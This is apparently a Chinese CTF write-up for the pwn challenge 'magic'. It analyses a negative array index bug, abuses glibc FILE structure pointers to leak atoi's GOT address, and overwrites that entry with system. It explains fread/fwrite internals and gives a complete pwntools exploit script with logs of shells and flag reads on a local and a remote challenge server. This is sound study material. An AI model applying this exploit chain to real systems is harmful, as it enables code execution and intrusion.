解题思路
安全机制检查
healer@healer-virtual-machine:~/Desktop/magic$ checksec magic
[*] '/home/healer/Desktop/magic/magic'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
healer@healer-virtual-machine:~/Desktop/magic$ readelf -h magic
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x4008b0
Start of program headers: 64 (bytes into file)
Start of section headers: 11992 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 31
Section header string table index: 28
分析利用过程
漏洞分析
__int64 wizard_spell()
{
int v0; // ST04_4@8
char v2; // [sp+3h] [bp-3Dh]@1
__int64 v3; // [sp+8h] [bp-38h]@5
char v4; // [sp+10h] [bp-30h]@8
__int64 v5; // [sp+38h] [bp-8h]@1
v5 = *MK_FP(__FS__, 40LL);
printf("Who will spell:");
v2 = read_int(); // 此处读取的数据有可能存在,负数
if ( !wizards[v2] || v2 > 2 )
{
puts("evil wizard!");
exit(0);
}
v3 = wizards[v2]; // 此处存在数组的负数越界
if ( *(_QWORD *)(v3 + 40) > 0LL )
{
if ( *(_QWORD *)(v3 + 40) <= 49LL )
{
puts("fail!");
}
else
{
printf("Spell name:");
v0 = my_read(&v4, 0x20uLL);
write_spell(&v4, v0);
read_spell();
*(_QWORD *)(v3 + 40) -= 0x32LL;
puts("success!");
}
}
else
{
puts("muggle!");
strcpy((char *)(v3 + 8), desc_muggle);
--left_wizard;
}
return *MK_FP(__FS__, 40LL) ^ v5;
}
移动_IO_write_ptr
指针至堆起始位置附近
由于存在数组溢出漏洞,并且存在*(_QWORD *)(v3 + 40) -= 0x32LL;
可以修改指针,因此通过利用程序自身的功能2.wizard spell
可以修改存在于堆空间开始处的文件结构体。且看下面几个量之间的关系:
v2 = read_int(); // v2是我们输入的值,指定数组偏移量
...
v3 = wizards[v2]; // v3是从数组wizards中取得的值
...
*(_QWORD *)(v3 + 40) -= 50LL;
wizards数组存储位置
运行时状态:
pwndbg> x/30xg 0x6020f0-0x40
0x6020b0 <desc_wizard>: 0x0000000000400f8b 0x0000000000000003
0x6020c0 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd2620 0x0000000000000000
0x6020d0 <stdin@@GLIBC_2.2.5>: 0x00007ffff7dd18e0 0x0000000000000000
0x6020e0 <log_file>: 0x0000000000603010 0x0000000000000000
0x6020f0 <wizards>: 0x0000000000603240 0x0000000000000000
0x602100 <wizards+16>: 0x0000000000000000 0x0000000000000000
因此,当输入的数组偏移量为“-2”时取得到的指针是<log_file>
,配合上*(_QWORD *)(v3 + 40) -= 50LL;
我们可以通过此方法来修改结构体的内容,每一次读取内容的长度
此题做的时候需要自己尝试一下每一次写入的字符串的长度对最终_IO_write_ptr
修改的量,通过多次读写,可以将_IO_write_ptr
指针调整到<log_file>
结构体开始位置附近
def main():
create_wizard(b"hacker")
wizard_spell("0",b"deadbeef")
for i in range(14):
print(">>>>"+str(i))
wizard_spell("-2",b"\x00"*5)
wizard_spell("-2",b"\x00"*4)
gdb.attach(io,"b * 0x400d65\nb * 0x400c8a\nb * 0x400d5d")
log.success("Move print_ptr Successfully")
# print_ptr = 0x60300c
payload = b"\x00"*3 + p64(0x321) + p64(0xfbad24a8)
wizard_spell("0",payload)
存在一点点疑惑的地方,这里上面的脚本中循环处,每次输入的
\x00
的个数有可能会影响到能否完成指定的循环次数,最终将_IO_write_ptr
移动到合适的位置,还有一个问题是,不合适的\x00
的个数可能会影响到下一步的覆盖结构体指针。(前期wizard_spell("-2",b"\x00"*3)
始终没有成功将目标数据写入log_file在堆空间中的结构体,具体原因不详)
调整完毕之后如下所示
pwndbg> p *(struct _IO_FILE_plus *)0x603010
$2 = {
file = {
_flags = -72538968,
_IO_read_ptr = 0x6034a0 "...",
_IO_read_end = 0x6042a0 "",
_IO_read_base = 0x6032a0 "...",
_IO_write_base = 0xa000000000032a0 <error: Cannot access memory at address 0xa000000000032a0>,
_IO_write_ptr = 0x603006 "", # 此处已经修改成功
_IO_write_end = 0x6032a0 "...",
_IO_buf_base = 0x6032a0 "...",
_IO_buf_end = 0x6042a0 "",
_IO_save_base = 0x0,
_IO_backup_base = 0xa000000 <error: Cannot access memory at address 0xa000000>,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2540 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 720575940379279360,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x6030f0,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x603100,
_freeres_list = 0xa000000,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>, "\n"
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
知识点:
- 通过
fread
可以修_IO_write_ptr
。即通过fread
操作,我们可以修改write
相关的指针, - 反之通过
fwrite
操作,我们可以修改read
相关指针。
pwndbg> x/40xg 0x603000
0x603000: 0x0000000000000000 0x0000000000000231
0x603010: 0x00000000fbad24a8 0x00000000006034a0
0x603020: 0x00000000006042a0 0x00000000006032a0
0x603030: 0x0a000000000032a0 0x0000000000603006
0x603040: 0x00000000006032a0 0x00000000006032a0
0x603050: 0x00000000006042a0 0x0000000000000000
0x603060: 0x000000000a000000 0x0000000000000000
0x603070: 0x0000000000000000 0x00007ffff7dd2540
0x603080: 0x0000000000000003 0x0a00000000000000
0x603090: 0x0000000000000000 0x00000000006030f0
0x6030a0: 0xffffffffffffffff 0x0000000000000000
0x6030b0: 0x0000000000603100 0x000000000a000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x00000000ffffffff 0x0000000000000000
0x6030e0: 0x0a00000000000000 0x00007ffff7dd06e0
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x000000000a000000 0x0000000000000000
控制结构体劫持got
表
泄漏got
表函数地址
前期通过控制_IO_write_ptr
指针将其移动到了堆中的log_file
的结构体的合适位置,覆盖_IO_read_ptr
,进而借助程序自身的fread
函数将目标位置的内容读出,在借助write
函数回显,实现内存地址泄漏,为什么是控制_IO_read_ptr
指针,且看下面分析
执行fread
之后,调用如下
pwndbg>
1380 in fileops.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
RAX 0x7ffff7a85ed0 (__GI__IO_file_xsgetn) ◂— push r14
RBX 0x603010 ◂— 0xfbad24a8
···
RDI 0x603010 ◂— 0xfbad24a8
RSI 0x7fffffffdca0 —▸ 0x4008b0 (_start) ◂— xor ebp, ebp
···
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
···
► 0x7ffff7a85f00 <__GI__IO_file_xsgetn+48> mov rsi, qword ptr [rbx + 8]
0x7ffff7a85f04 <__GI__IO_file_xsgetn+52> mov rbp, qword ptr [rbx + 0x10]
···
上面这段解释了rsi
参数的确定是源于rbx + 8
,而rbx
的值是0x603010
,指向结构体开始的位置,故rsi指向的是_IO_read_ptr
,
pwndbg>
0x00007ffff7a85fde 1383 in fileops.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
···
RCX 0x603010 ◂— 0xfbad24a8
RDX 0x20
*RDI 0x7fffffffdca0 —▸ 0x4008b0 (_start) ◂— xor ebp, ebp
RSI 0x602080 (_GLOBAL_OFFSET_TABLE_+128) —▸ 0x7ffff7a43e90 (atoi) ◂— sub ···
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
···
0x7ffff7a85fdb <__GI__IO_file_xsgetn+267> mov rdi, r14
► 0x7ffff7a85fde <__GI__IO_file_xsgetn+270> call __memcpy_sse2 <__memcpy_sse2>
rdi: 0x7fffffffdca0 —▸ 0x4008b0 (_start) ◂— xor ebp, ebp
rsi: 0x602080 (_GLOBAL_OFFSET_TABLE_+128) —▸ 0x7ffff7a43e90 (atoi) ◂— sub rsp, 8
rdx: 0x20
rcx: 0x603010 ◂— 0xfbad24a8
上面这里是实际读取结构体指向内容时的参数配置,由此可判定控制_IO_read_ptr
指针,即可控制回显的内容
泄漏atoi
函数地址之后,即可获得libc
加载基地址以及system
函数的地址
0x6020e0 <log_file>: 0x0000000000603010 0x0000000000000000
拿到关键地址信息之后,开始布局控制atoi
函数的got
表,实现劫持为system
函数
分析源码
从iofread.c
开始的调用链如下:
_IO_fread
->_IO_file_xsgetn
->__underflow
->_IO_new_file_underflow
且看下图:
各部分源码如下:
fread
源码
_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t bytes_requested = size * count;
_IO_size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested); // fread核心函数
_IO_release_lock (fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)
_IO_file_xsgetn
函数
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
char *s = data;
want = n; // 传入需要读入的字符个数
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp); // 如果输入缓冲区时空的,调用此函数初始化缓冲区
}
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr; // 求得read区域的大小
if (want <= have)
{
memcpy (s, fp->_IO_read_ptr, want); // 第二部分,输入缓冲区里已经有足够的字符,则直接把缓冲区里的字符给目标buf,然后至函数最后返回
fp->_IO_read_ptr += want; // 读取完毕之后,给_IO_read_ptr加上读区的长度
want = 0; // 已满足输入需求,want置零结束循环,函数返回
}
else
{
if (have > 0) // 此时想要的内容大于fp->_IO_read_end与fp->_IO_read_ptr之间的区域的大小
{
#ifdef _LIBC
s = __mempcpy (s, fp->_IO_read_ptr, have); // 可read的区域有多少字节先复制到buf缓冲区中
#else
memcpy (s, fp->_IO_read_ptr, have); // 第二部分,输入缓冲区里有部分字符,但是没有达到fread的size需求,先把已有的拷贝至目标buff
s += have;
#endif
want -= have; // 想要的内容减掉已经读区的长度
fp->_IO_read_ptr += have; // 修正指针
}
/* Check for backup and repeat */
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
continue;
}
/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base // buf指针非空
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) //并且缓冲区满足想要的读区的大小
{
if (__underflow (fp) == EOF) // 此处调用__underflow函数
break;
continue;
}
/* These must be set before the sysread as we might longjmp out
waiting for input. */
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
_IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);
/* Try to maintain alignment: read a whole number of blocks. */
count = want;
if (fp->_IO_buf_base)
{
_IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
if (block_size >= 128)
count -= want % block_size;
}
count = _IO_SYSREAD (fp, s, count); // 读取仍然需要读区的长度的内容
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN;
break;
}
s += count;
want -= count;
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
}
}
return n - want;
}
libc_hidden_def (_IO_file_xsgetn)
__underflow
函数
int
__underflow (_IO_FILE *fp)
{
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)
return EOF;
#endif
if (fp->_mode == 0)
_IO_fwide (fp, -1);
if (_IO_in_put_mode (fp))
if (_IO_switch_to_get_mode (fp) == EOF)
return EOF;
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
}
if (_IO_have_markers (fp))
{
if (save_for_backup (fp, fp->_IO_read_end))
return EOF;
}
else if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
return _IO_UNDERFLOW (fp); // 调用_IO_new_file_underflow函数
}
libc_hidden_def (__underflow)
_IO_new_file_underflow
函数
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
#if 0
/* SysV does not make this test; take it out for compatibility */
if (fp->_flags & _IO_EOF_SEEN)
return (EOF);
#endif
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end) // read相关几个指针之间区域不能留存有空间,如果有空间则直接返回
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL) // 如果buf指针为空
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp); // 重新初始化部分空间
}
/* Flush all line buffered files before reading. */
/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
#if 0
_IO_flush_all_linebuffered ();
#else
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (_IO_stdout);
if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (_IO_stdout, EOF);
_IO_release_lock (_IO_stdout);
#endif
}
_IO_switch_to_get_mode (fp);
/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
// 在执行_IO_SYSREAD ()之前将所有指针设置为同一个值fp->_IO_buf_base
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base); // 从指定位置向_IO_buf_base读取内容
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count;
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
fwrite
函数
_IO_size_t
_IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
_IO_size_t request = size * count;
_IO_size_t written = 0;
CHECK_FILE (fp, 0);
if (request == 0)
return 0;
_IO_acquire_lock (fp);
if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
written = _IO_sputn (fp, (const char *) buf, request);
_IO_release_lock (fp);
/* We have written all of the input in case the return value indicates
this or EOF is returned. The latter is a special case where we
simply did not manage to flush the buffer. But the data is in the
buffer and therefore written as far as fwrite is concerned. */
if (written == request || written == EOF)
return count;
else
return written / size;
}
_IO_new_file_xsputn
函数
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;
if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr; // 要想能正确有输入,则需确保f->_IO_buf_end > f->_IO_write_ptr
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
#ifdef _LIBC
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
#else
memcpy (f->_IO_write_ptr, s, count);
f->_IO_write_ptr += count;
#endif
s += count;
to_do -= count;
}
if (to_do + must_flush > 0)
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
思路整理
最终目标是要将atoi
函数got
表中的地址劫持为system
函数地址,当程序再次执行至choice>>
要求输入时,直接输入/bin/sh
或者sh
,即可执行system("/bin/sh")
函数获取到shell
我们想要利用fread
函数将atoi
的got
表改写就要控制_IO_write_ptr
或者_IO_buf_base
,控制_IO_write_ptr
的方法我们有,就是一开始的那个借助每次-50的操作抬高该指针,但是atoi
的got
表在0x602080
处,现在在0x603010附近
需要循环很多次,才能移动过去,有点繁琐(还没有验证过行不行),但是结合上面的源码分析,借助fread
函数,通过控制log_file
在堆空间中结构体的各个指针,可实现向fp->_IO_buf_base
处写入数据的效果。
当泄漏关键地址之后,通过wizard_spell("-2",b"\x00"*18)
方法可将指针再次移动到结构体开始的位置。紧接着布局所有指针,控制_IO_read_ptr
与_IO_read_end
,使其在向fp->_IO_buf_base
处写入数据之前满足fp->_IO_read_ptr >= fp->_IO_read_end
(参见源码_IO_new_file_underflow
)
关于fwrite
函数,这需要确保f->_IO_buf_end > f->_IO_write_ptr
,才能保证结构体各指针不被刷新,保证能够正常输入
覆盖_IO_read_base
、_IO_read_ptr
、_IO_read_end
三个指针
log_file = 0x6020e0
payload = p64(log_file) + p64(log_file+0x40) + p64(log_file)
wizard_spell("0",payload)
上面的log_file+0x40
不一定要精确是0x40
这个值,到第三次覆盖时满足前面的fp->_IO_read_ptr >= fp->_IO_read_end
条件即可
覆盖_IO_write_base
、_IO_write_ptr
、_IO_write_end
三个指针
payload = p64(atoi_got+0x2000)*3
wizard_spell("0",payload)
此处覆盖write
相关的三个指针使用的是atoi_got+0x2000
,至于为什么,参见源码_IO_new_file_xsputn
,因为之后仍需要通过fwrite
函数写入字符,所以需要确保下一步以及之后的写入system
函数地址顺利,所以需要确保f->_IO_buf_end > f->_IO_write_ptr
,并且f->_IO_buf_end - f->_IO_write_ptr
的值cont
尽量大一点,实际写入的时候会发现,其实_IO_write_ptr
指针并没有被更改,所以可以直接覆盖三个一样的值,并且保证f->_IO_buf_end
足够大一些即可,0x2000
可以调整,满足前面的要求即可。
上面这步大佬的做法是通过泄漏堆空间的地址,然后加上0x100
去做的,后面自己在验证和分析源码的时候发现其实并不需要堆的地址,只要覆盖的地址相对大一些或者足够大即可,大佬的分析中给出了一个范围,对于那个范围是如何而来更是百思不得其解,有机会可以交流一下(至少以我之愚见,源码中未体现出这个范围)。
覆盖_IO_buf_base
、_IO_buf_end
两个指针
payload = p64(atoi_got) + p64(atoi_got+0xa0)
wizard_spell("0",payload)
这里的_IO_buf_base
指针指向atoi
函数,_IO_buf_end
指针向后相对留有一定空间即可
劫持atoi
函数为system
函数
payload = p64(system_addr)
# pause()
io.send(payload)
# pause()
io.send(payload)
# pause()
io.send(payload)
io.send(payload)
# wizard_spell("0",payload)
此处我有点茫然,结合前面的构造,程序运行到这里时直接开始等待输入了,并且结构体也达到前期的部署需求,而且要求的输入是0x20
,如下所示:
pwndbg> p *(struct _IO_FILE_plus*)0x603010
$2 = {
file = {
_flags = -72538968,
_IO_read_ptr = 0x602080 "\220>\244\367\377\177",
_IO_read_end = 0x602080 "\220>\244\367\377\177",
_IO_read_base = 0x602080 "\220>\244\367\377\177",
_IO_write_base = 0x602080 "\220>\244\367\377\177",
_IO_write_ptr = 0x602080 "\220>\244\367\377\177",
_IO_write_end = 0x602080 "\220>\244\367\377\177",
_IO_buf_base = 0x602080 "\220>\244\367\377\177",
_IO_buf_end = 0x602120 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2540 <_IO_2_1_stderr_>,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x6030f0,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x603100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
由于已经实现预期部署目标,就没有再使用源程序的wizard_spell
功能,并且程序直接等待向目标地址写入内容,所以就连着写了几个system
函数地址,实现最终目的。当然在调试的时候,如果能够正常走流程,再输入system
地址也是可以的。
攻击脚本
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
# context.terminal = ['tmux','splitw','-h']
io = remote("111.200.241.244",64078) # 111.200.241.244:56829
# io = process("./magic")
elf = ELF("./magic")
# libc = ELF("./libc-2.31.so")
# context(arch = "i386", os = 'linux')
def create_wizard(name_str):
io.recvuntil("choice>> ")
io.sendline("1")
io.recvuntil("Give me the wizard's name:")
io.sendline(name_str)
def wizard_spell(name_index,spell_name):
io.recvuntil("choice>> ")
io.sendline("2")
io.recvuntil("Who will spell:")
io.sendline(str(name_index))
io.recvuntil("Spell name:")
io.send(spell_name)
def main():
create_wizard(b"hacker")
wizard_spell("0",b"deadbeef")
for i in range(14):
print(">>>>"+str(i))
wizard_spell("-2",b"\x00"*5)
wizard_spell("-2",b"\x00"*18)
# gdb.attach(io,"b * 0x400d69\nb * 0x400c8a")
log.success("Move print_ptr Successfully")
payload = b"\x00"*3 + p64(0x231) + p64(0xfbad24a8)
wizard_spell("0",payload)
atoi_got = elf.got["atoi"]
log.success("atoi address -> "+hex(atoi_got))
payload = p64(atoi_got) + p64(atoi_got+0x100)
wizard_spell("0",payload)
atoi_addr = u64(io.recv(8))
log.success("atoi real address -> "+hex(atoi_addr))
obj = LibcSearcher("atoi",atoi_addr)
libcbase = atoi_addr - obj.dump("atoi")
system_addr = libcbase + obj.dump("system")
bin_sh_addr = libcbase + obj.dump("str_bin_sh")
log.success("system address -> "+hex(system_addr))
log.success("bin_sh_addr address -> "+hex(bin_sh_addr))
wizard_spell("-2",b"\x00"*18)
payload = p64(0x231) + p64(0xfbad24a8)
wizard_spell("0",payload)
log_file = 0x6020e0
payload = p64(log_file) + p64(log_file+0x40) + p64(log_file)
wizard_spell("0",payload)
# heap_addr = u64(io.recv(8))
# log.success("heap_addr address -> "+hex(heap_addr))
payload = p64(atoi_got+0x2000)*3
wizard_spell("0",payload)
payload = p64(atoi_got) + p64(atoi_got+0xa0)
wizard_spell("0",payload)
log.info("Watch the _IO_write_ptr!!!")
payload = p64(system_addr)
# pause()
io.send(payload)
# pause()
io.send(payload)
# pause()
io.send(payload)
io.send(payload)
# wizard_spell("0",payload)
io.recvuntil("choice>> ")
io.send("sh")
io.interactive()
if __name__ == '__main__':
main()
执行成功效果
本地shell
00000010
[*] Watch the _IO_write_ptr!!!
[*] Paused (press any to continue)
[DEBUG] Sent 0x8 bytes:
00000000 a0 23 a5 f7 ff 7f 00 00 │·#··│····│
00000008
[*] Paused (press any to continue)
[DEBUG] Sent 0x8 bytes:
00000000 a0 23 a5 f7 ff 7f 00 00 │·#··│····│
00000008
[*] Paused (press any to continue)
[DEBUG] Sent 0x8 bytes:
00000000 a0 23 a5 f7 ff 7f 00 00 │·#··│····│
00000008
[DEBUG] Sent 0x8 bytes:
00000000 a0 23 a5 f7 ff 7f 00 00 │·#··│····│
00000008
[DEBUG] Received 0x32 bytes:
00000000 a0 23 a5 f7 ff 7f 00 00 a0 23 a5 f7 ff 7f 00 00 │·#··│····│·#··│····│
*
00000020 73 75 63 63 65 73 73 21 0a 63 68 6f 69 63 65 3e │succ│ess!│·cho│ice>│
00000030 3e 20 │> │
00000032
[DEBUG] Sent 0x2 bytes:
b'sh'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x27 bytes:
b'core exp.csdn.py exp.py flag magic\n'
core exp.csdn.py exp.py flag magic
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x19 bytes:
b'flag{Cragratulations!!!}\n'
flag{Cragratulations!!!}
远程shell
00000010
[*] Watch the _IO_write_ptr!!!
[DEBUG] Sent 0x8 bytes:
00000000 90 63 54 90 09 7f 00 00 │·cT·│····│
00000008
[DEBUG] Sent 0x8 bytes:
00000000 90 63 54 90 09 7f 00 00 │·cT·│····│
00000008
[DEBUG] Sent 0x8 bytes:
00000000 90 63 54 90 09 7f 00 00 │·cT·│····│
00000008
[DEBUG] Sent 0x8 bytes:
00000000 90 63 54 90 09 7f 00 00 │·cT·│····│
00000008
[DEBUG] Received 0x20 bytes:
00000000 90 63 54 90 09 7f 00 00 90 63 54 90 09 7f 00 00 │·cT·│····│·cT·│····│
*
00000020
[DEBUG] Received 0x12 bytes:
b'success!\n'
b'choice>> '
[DEBUG] Sent 0x2 bytes:
b'sh'
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x23 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'magic\n'
bin
dev
flag
lib
lib32
lib64
magic
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2d bytes:
b'cyberpeace{c461dcc93********************69889c079c6}\n'
cyberpeace{c461dcc93********************69889c079c6}